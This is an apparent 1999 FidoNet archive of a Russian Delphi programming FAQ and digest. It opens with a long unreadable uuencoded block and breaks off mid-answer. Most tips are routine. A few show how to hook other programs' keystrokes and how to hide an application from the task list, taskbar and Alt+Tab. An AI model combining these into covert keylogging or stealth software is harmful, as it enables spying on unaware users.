MVV#^>X9F2GE+*337BD;<@CU0)WX;UEU&KG1SE3EFH=E&M'^>-HBX$!-6_BAWH M=+TD$3>$3?[*[7[/B+4HTIUJQ6ZMC@)O2Q541]+)%2=TV:VLZE0P=[&\IGIB`OUWO-4P5X08;T0J M%KP[-G0-NY'3AN'O!1V!-G%'F)"MLAILP1K18LY$IFL>$6Y5.O''(C/?7,BXUMF:3#T8#+PBN=PEEWUA+YOEE1)SN MB'=!(6,0`JG+,1ZAS##-CF:5JR=;_B4_"!'=]2Z9.VWI6U$4T/UKO++Y5''HCAV*DAD^UWO/S0Z+EM;M/Q-J-K4]B&)+PJ MXSN@UN1Y@RM0C'DS\)NIQH5F1B>T!J\O_VCS06XF?HB[1_*\D3S&/!XCH2TS& M.JX7Q=@A8D!@75Y>H=$PQF9D*GH:1LJB;(.4:>;WVY!?9X^C`I,,*WM4\'W`, M?.4\8D\<\*?'A,=.U_QSP_?I_&W9-K8I[TZ_FI@;1<>`?2S1NZG+W>^)U4(_RS-D5AP2?]<%':,[>D>X]\M&]35QO\E/U:.;'36Y6% M/8=7AL8OY--M"[]^<%#A,B[H-<)*K$/(V]T:-^@,/?V3]3K$NRNB)EI8ZK.\[ M2'X)8VP_0N*H8MK,:^J):#(5%S_W[`.XK.1.;#"5)S&MT?V)ZY_E)W'42'O[Z MW%M;B2'X]F+-/C>OD:<@9+YVG=1+Q[3^KE8Z2SSJ=8>GZL[*,OY2$AWQLP7_:>#3)+M"X_=)YJV: MPCR2(DV/2TD1,8W]Y0!?"#".OCW03IX^[PNQ!RB:1_DW/]Q>W\\*%3*S.IS?Z M`,'7B%1:%K`"^-DGA%M=9ON?PW_!Y$66UE4V;N69O!X):`V:S^@6-$S=I,N72 M.,[6('5G-3LY2$1=;$;]1ZK[U2D682UG)CJ.^AT:I':6N)\!^9@=0UQF,EO<_ MSG9.X9(P$A*,#>,]<+J3O3%+\H=E7YNRCQ,4_&4GZA['L?)G1W'`9'^?"9S&G MV,[B>?M,[=Y/%OP9UT&4MEE<7WIMLS3@6&X;J]UY\&\$EW-UUE>Q!I-O2EQ:;@;7[Z9U?1["_.>FY8Y:D+'0`G?2HO3Y2B=XU MXM.4C"P>-'G^0A&4\OBBG/D*!27E9*1GK?Z$TNN,]'+24S*6*.,6I8MTZ6(7966EY?0_[)6?2(%?.=Q>GB(3SX,)KV?_;^G@DZP%8 M67SHY$&4\O3W/A)*\<^1:KQ%"P+;$5]%8=J/:J\,;_X*NY!'6+Y&\S4+&I9\^DS/ MYRFT]JS+5=-H,-2?_>4T/3=>^-%%[ODKY]R7X#8PEXN=/2/G#V%-!L(F*'F(CV+A&H:-)=Q3\U%F4\]SZ/!(/)J8,*]R-?OE M!@)F<..)"G(6):L]164S&"Z=/G\%CN$7]WE#R^ESO)[.`9%39\\9:D^?ESW#U;R\ZUQ`&2\T$+@-9UVMA@LN-Z`-3 M<)K7#5P#.T/?_'26GL^<;;C`7=9`?MZ^O`TNBO8XC71:":BMVNBY%<^,7,V.Z MA*%55A#C+D,\[FD5;:J]-=!W,@8/]\0B1%`]C.-W\=Q9BGRAX=SY&E$.\FCOG MSE.+,C@&CJ.(>UK&/:V+>UK&/2WCMNK>M8K/D([F\L^!MXC"Q*>$(X\!O#TNE MQ23-W@%[?@*ZTTY,Y19HPOK@W)27$\4UDNY?4'R3;*[:[(4E_7[:5^KEM+_5U]2BVN7J6=7#>6!KBZE@:ZNI0&O MN0)*.[O\2KNX?$J#N?SFP>!]Y]2*CT6QKZC'"Z]T*@@HO!*2[UM*-U^K%1_*% M^AFM6$83\GXN;&]=9)K4A\=H1]>_7)3`)5%65FFK=N:!!/3,01?25X+UE)>;8$O-G8:>QSJ=2Y09_` M,&F@FK(ZBM^=RZ,WS=M611;+A5)W&'9+=;?CB$]Y^+Z%-]4#=N#W7X>J!^SAT M+CLST>VNZKP?#U6=#Q(2"RS_^M'SUC2)]F*__?6[_&O^7;YED[XDCX/::TUR_ MVX+`=H*$3BP$C^N%#`+V7I]@-Y2YLMK6-7AO`GI.B['`TI;@KNMF(H/B7ZCE) M>T6UMZGG,PO;NA7P5SVTF5(H=NVY/#\U\M"P=0K$@( M'6SVU4MIY25SZ$B-/-,*KC,% M4L=,5"V3"D:79UTODQG7R&0&94($UH)T][V9G!Y_C8QNE1GQ"&G_15;G9EV=[ MU;G91`^E"U+M2P89;8%HL_X^N6;[`K=/\#X<2/<=-7T:O.];TZ<0[UMYDM-"< M1>2!9MM<][W`(W@O2&XAZ_?0?O,YG@,86>P]#6%J*/S_K!+O*6KPWC4KJ``A> MD]242H[6M&N@-0UHU5VAI;!C%OT]68R_?A8EYLJKJZ%^YM7YU2/5.IJ/9,_TA MR[==E?-._ET+57>FJ2+3Y&1?7OG?PV#>-3"8-XLSVPY\]%T5W:,S2R_[4J5C] MMFV>SNV?I'J9;9]:M'5-X[F%6%AU\*+0\$PR.AY:FJ/W=^<` M&THOGX@WQ(8E:G2#H4.'AALT/EVC_KJ=FF/:Q%4]H.$8YZ"=G!?QKT/',%>TT MX/E?Y56=S<=I&FC:)-Y5W60YSF>"W*XD:%/6_Z.0XR1C`[1=@2*$[9H&L1^1* MX,D%39A/9H^C^802`FGF)/AB./>7&OF=EP]QOC+_S#B3B M_GT8911RC:3063+:)_7!#%W]_ON8(!#<-(VJ5DW1=#';U5G`]Z]G/X"?2U1_( MJ#N#[K[$!G;FPCE>@P>'"_F]<\02'0P;B]&3>[/QDRC. M0[-VYS#)F9&(71#$;^Q+HL@`<@ZBTFO/N6_]<>^YKT5ODW/S<3JI'4WVVN1L7 MX38Y.='?JT_!+_Y29UHIK3G5'B63_%#CX^:*A%"C_8KOXS[O^PXZA*-8PU=$6 M3ZCGMQQ2_+AJG8A9<6IH4=(@[@DI2KI;S/2:Z0HN;T:<_6=GR(NU)):CJ[GM< M!79D/%5Q9'([2=P_5PM2P\M3Z65@LM3.XWT[Q."U2[JVVLODDY^^5$VEKYHD2 M2A](MD$1$C,.YRS`JM$XKP!"("E0B^=/EB,,T`38#X@$L&6("P']$T_C_0J\K M!S3A++<$L`5UFWU089`P^DO30F/DG\8S]Q`*-RHN M@7_\+&QALHQL08[H&5,[/])L>TTQ MZY&Y42W`*+5$3+I($5,PW@"#`3&`>,!80`I@!B`=D`50`'F`IP"K`.L`FP';@ M`#L`NP"?`/8#O@1\!S@!J`4T`)H`K0#S5(Q=0`@@#!`!Z`\8#(@!Q`/&3HWET M>!ITN,IK2CE-R2#O)#+(>YOI[Q'I;ID@ZJQ!ND.2A/N==,,G"C=+NGNDFS))7 MN$W2'9DLW%KIKI-N5,K_S/U.NG;I+DG5M:E`$NE\`=5BG0HY M;:OT4QXATO];^5)8*.*$50I_.-R(2H%+)-PHZ1\"-[92X#(2[ECI3X$[0^)"% M>:5+_SQ`5J7`A?(+DWXM_=_*-[32&QZJBQ]9Z<6'7`V?D95>?,C5\`G1X1.B9 MPV?'UUY\=OP7^;:Y#48?D\F4#;\"6`+(`]@!18!5@'6`C8#-@&V4;B5=D(?Q7 M!*@$G``P0!.UU3=H*T`H(!P0^(!N@4%X`N_07`58!5NO26:U+9QU@(V"S]&^1SV-UX>3?)I_?& MDO'62?\.Z2\%[))`_CW27R;S6]W!OQ_PI03R?R?]-8`&">1OD7[S$>^W>K\%A M?BL@](CPAP/Z`P8#8@#QTC\6,!4P1Q=._GDR7`'D'2%=4^%?!5@'V`S8!M@AY M_;L`991?(_``*-CS6.&.)?<\<(#?``@"Q",L!M"*O=(,N&$`NG]B,-P4NG@"! M$()X>10/;G^X9D`0(`L00>\!3ZV(_7]N+U!C-!JV:)1R^=?+;#1$&MN'I2!L; M2(>P=0@;V2$LPM=HF--U.908DRN>'X3X.>%H^OP9W#^!SP'%`/>`RP.HKWM\--Q8P+ M'C`5D`[(!A3(]Z_!?0>P%U`)J`$T`%H!75`_$8`_`>A2RQF`>8`G`,\"-@/>+ M\1/I'(1[%%`KGQ_-R%F8D37H[KO2L[+H.3XC*T/)B`,O:?[-S+F1%M&SE)ZGC(_/2-N7EI.RJ)QMBQE_O"E"GWC\:7;5]2EF:34_B8@D*0 M(&SCLA;E9L@/;;D9.=Y^@Z_&9"Q]>!$QZ<275+/"HB!].0Y%2OMSQO!%J.2T/ M],?3LN=[OYV4\6?>II/3LFP9LA401G=0($T1@&>>.0(,B[(RTFR*]_O):3GS@ MTQ8J:.F%?^9X)RS1A2[*!B,N71\/GXL:7)HK[;=G+)3/U!PB3#Q/RN"]3Q\-A MH1W".HZAE*Q<-`XOC7@:T>Y)]FWX_HL^?ZV>UC$_?3_I.$;^BWZCZRN$*-V&2 ML&CA_VKO:J#J*,_T)&`D$1,T:(ABO56BM&*<[_OF?^:;(0F-:#"B4DMM&B%`M M`H:___>[_G?=YG?NXE;/7C^L)_&?G5555%] MY7Z#5Q5&4K/=.JXG5%25Y8=\G"P)EZQ*9@J*CLFB*D%03_WX7N_Y'-2IAQ]#S8?:7B6,1+PZOK=4'HK MP.LJ?+XN889WQAPJ#9:55VPL]5;`NWU?$Q)\?'UNS?\C6P).M=WE%,\54\5T: M,5M<)=:*#6*CV"0VBRUBN[A+[!)T^1O>1E\CIYB[Q+#I)/R$PZAYY-;;JOEV^1#LJ9L4AY1?J4,*>O4Q[2#P MVCS]/'V1?KFNZDOT%7J^ODZOUAOTN_46_2&]4^_6G]%?UO?I[^D?Z8(QRYAO& M+#2881@9QDHCUR@T*HRM1H/19.PT?F$\:0P;?S9FF5\P+S'7FK7F<^9?S-E63 M(O\BS^$W\2I^*Z_GW^,M_`'^<_Y+_AH7;^P0.\(>E)Z7_B+]3?I4^KI\L[Q.OE/^B?RT/")_),]6I M%BA/*2/*Q\H<=;ZZ6ON1]HCVM+9/^YLV5[]8_Z:^PMQLWFON-=\TS[8,*]>Z9 MSQJQ8OG7^1_Y6;9J;[>?LUTLX%H,=I>*7Q'7`0,_%CO%U\0#HHH57XW1MV.%M MN\ACI!=S>(Z\0?Y,/B1GT$2Z@F;3$LRCEFZG/Z0/T`?ID_0E^BI]@_Z#GL'FH MLR1V&1.9S=YA!]EOU/?Y7/M:N\R>Z5SC%#@_=O[5<:_(Y;C?@Q`_$@620!:0T M$N#J,1XQNX]?&;XW=QHO&:\:H\8GQJ3';G&M>; M8%YJ2N;5YO7F3>8:\Q:S"O9I-)\P]YC_;L989UBBI5G+K2QKK;71VFG]B]5C7 M/6$]9?W>>MMZS_J'-9//YQ?R-&[SY7PEOY&OYFMY.=_`;^-W\!W\7GX_?P@XB M>HP_R9_A+_!7^9O\+_QO/-8^UTZV4VW+SK`S[2P[V\ZQ<^VU=HW=8K?9[7:'W MW6EWV=WV;GN_/6X?LB?LP[;@Q#J)CN183KJ3X60Z64ZVD^?4.0U.H]/D-#LM8 M3JO3Z0PX0\ZP,^*,.F/.?F?"Q6>V(,2!S)/$@)@"#T_#95M)S!2+Q4HQ)-;`7 MU^O$>GAZM]@K]L'3=XL#XB!P*Y`X$H\U2"1)))FDD2R2`_RN(GFDD!23&M)") MVH"##M())'23?C)&#I!Q7"@7RZ5RI1R2&^0.N4ONEGOD7KE/[I>'E MX$MC\@$PT6$Y5HE7$I5D)45)4R3%4C*4+"5'6:44*J5*2*E5ZI5&I5EI5=J!! MPVZE5^E7!L!;(\J8]5^=4`=4D?4,?6`>D@]K,9J\5JBEJRE:&F:I%E:AI:EW M%6KWZ_^L/VRLM%[@+P-7KP-9;_%W^+O\?7Z0?\P_X4?X3'N6/<>>:S]KOV!OV M=X2\,$^]#R\Z@RZ@.BVBMV!5.N@?Z!%JLJWL7O8L>YT=8`%8LT3ZO23("^5+T M9$=>"7[9"KNHRFK,>+O2I/Q,>5)Y27E=^4B)4\]21=56OZE6J[>I=ZMMF,'+0 M&'6,=A;&>J-6I%5KW];NUG9JN[0/=1F 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 137 of 341 - 89 + 154 From : Alexey_Mahotkin 2:5020/433 29 Apr 99 01:10:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 925337409 11670 127.0.0.1 (28 Apr 1999 22:10:09 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 28 Apr 1999 22:10:09 GMT Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Arial Cyr" Можно попробовать также использовать шрифт типа Baltica, с гарантированными русскими буквами. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? Ответ зависит от версии Delphi. Ежели кому интересно то на [20]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора директории? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [21]http://www.sawatski.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Closed Wait', nil, 0, handle); -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 138 of 341 - 90 + 155 From : Alexey_Mahotkin 2:5020/433 29 Apr 99 01:10:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 925337420 11675 127.0.0.1 (28 Apr 1999 22:10:20 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 28 Apr 1999 22:10:20 GMT Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [22]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [23]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [24]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([25]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [26]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [27]http://www.signsoft.com/opengl. Информацию -- на [28]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [29]http://reality.sgi.com/mjk за примерами и [30]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [31]http://www.chami.com/tips/delphi/103096D.html Еще на [32]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [33]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [34]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [35]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [36]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [37]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [38]http://www.blinkinc.com, WWPack32 [39]http://kolos.uni.lodz.pl/warezak, NeoLite [40]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [41]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 139 of 341 - 120 + 157 From : Nick Slepchenko 2:5064/12 11 May 99 15:14:00 To : All Subj : [01/04] Дайджест по конференции RU.DELPHI (Содержание) ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (редакция от 10-05-99) ======================================================================== ############################################################################ # # # Я не претендую на авторские права тех людей, чьи материалы включены # # в этот дайджест. Здесь не yказаны их копирайты, но так полyчилось лишь # # потому что первоначально этот дайджест составлялся лично для себя. # # Так что претензий по авторским правам не принимаю. Я лишь имею права # # на эти материалы как составитель. # # # # С уважением... -= Hик - [FAQ TeAm] =- # # # # По всем вопросам: 2:5064/12.1@fidonet.org или nikbyte@mail.ru # # Также принимаются различные дополнения и пожелания. # ############################################################################ *** СОДЕРЖАHИЕ *** Часть 1: -------- 1. Каким образом можно узнать какая нажата кнопка на клавиатуре (мыши) вне зависимости от того, какое приложение в данный момент активно? 2. Как мне получить путь к запущенной программе из нее самой? 3. Как в Delphi определить, где установлена Windows? 4. Каким образом можно убрать приложение из Task Bar? 5. Каким образом можно убрать приложение из Task List? 6. Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? 7. Как можно сделать форму прозрачной? 8. Как сделать произвольную (непрямоугольную) форму? 9. Как создать файлы с уникальными именами? 10.Как программно переключать раскладку клавиатуры? 11.Как сделать невидимой главную форму? 12.Как запустить создание письма по указанному адресу? 13.Как запустить браузер по http-адресу? 14.Как рисовать прямо на экране? 15.Как увеличить в RichEdit размер редактируемого файла? 16.В каком порядке происходят события при создании и показе окна? 17.Если приложение долго выполняет какой-то цикл, как сделать так, чтобы остальные приложения не подвисали? Часть 2: -------- 1. Как перекодировать строки из Win(1251) кодовой страницы в Dos(866) кодовую страницу и обратно? 2. Как использовать анимированные курсоры в программе? 3. Как сделать так, чтобы по Alt-F4 форма не закрывалась, а выдавала запрос на сохранение? 4. Как выключить/включить звуковое оповещение Windows через PC Speaker? 5. Как скопировать файл? 6. Как инсталлировать на время работы программы свои шрифты? 7. Как узнать текущее разрешение экрана? 8. Есть программа на Delphi, котоpая отображает какой-то html. В html исполь- зуется gif-файл. Как в Delphi-пpоекте указать, чтобы этот gif находился в exe как некий кусок кода. А когда надо будет, записать его обратно в gif-файл без изменений, выковырнув из exe? 9. Как программно создать ярлык? 10.Как перетаскивать форму не только за Caption, но и за любое другое место? Часть 3: -------- 1. Как в TMemo определить номер строки, в которой находится курсор и его местоположение в строке? 2. Как быстро выводить графику? (А то Canvas очень медленно работает). 3. Как лучше сделать, если необходимо запустить внешний процесс и подождать, пока он отработает? 4. Как сохранить содержимое экрана в файл? 5. Как пеpемещать фоpму за Label? --- ifmail v.2.14.os * Origin: The truth is out there... (C) X-Files (2:5064/12) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 140 of 341 - 121 + 158 From : Nick Slepchenko 2:5064/12 11 May 99 15:14:00 To : All Subj : [02/04] Дайджест по конференции RU.DELPHI ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: stavropol.net!f2.n5064.z2!f7.n5064.z2!f12.n5064!not-for-mail ======================================================================== Дайджест по конференции RU.DELPHI (часть 1) ======================================================================== ------------------------------------------------------------------------------ > Каким образом можно узнать какая нажата кнопка на клавиатуре > (мыши) вне зависимости от того, какое приложение в данный момент > активно? GetAsyncKeyState. И для клавиатуpы, и для мыши. ------------------------------------------------------------------------------ > Как мне получить путь к запущенной программе из нее самой? Application.EXEName; ------------------------------------------------------------------------------ > Как в Delphi определить, где установлена Windows? GetWindowsDirectory Пример: var Windir : String; WindirP : PChar; ................................................ WinDirP := StrAlloc(MAX_PATH); Res := GetWindowsDirectory(WinDirP, MAX_PATH); if Res > 0 then WinDir := StrPas(WinDirP); ................................................ ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task Bar? ShowWindow(Application.Handle,SW_HIDE); ------------------------------------------------------------------------------ > Каким образом можно убрать приложение из Task List? (Только для Win'9x) Пример: unit hideprg; interface procedure TryToHide; implementation procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess'; procedure TryToHide;assembler; asm push 1 push 0 call RegisterServiceProcess; end; ------------------------------------------------------------------------------ > Каким образом можно спрятать приложение от показа при нажатии Alt+Tab? Пример (работает только в Win'95): var WnHnd : Integer; ........................................................ WnHnd := GetWindowLong(Application.Handle, GWL_EXSTYLE); WnHnd := WnHnd or WS_EX_TOOLWINDOW; SetWindowLong(Application.Handle, GWL_EXSTYLE, WnHnd); ........................................................ ------------------------------------------------------------------------------ > Как можно сделать форму прозрачной? Для этого необходимо 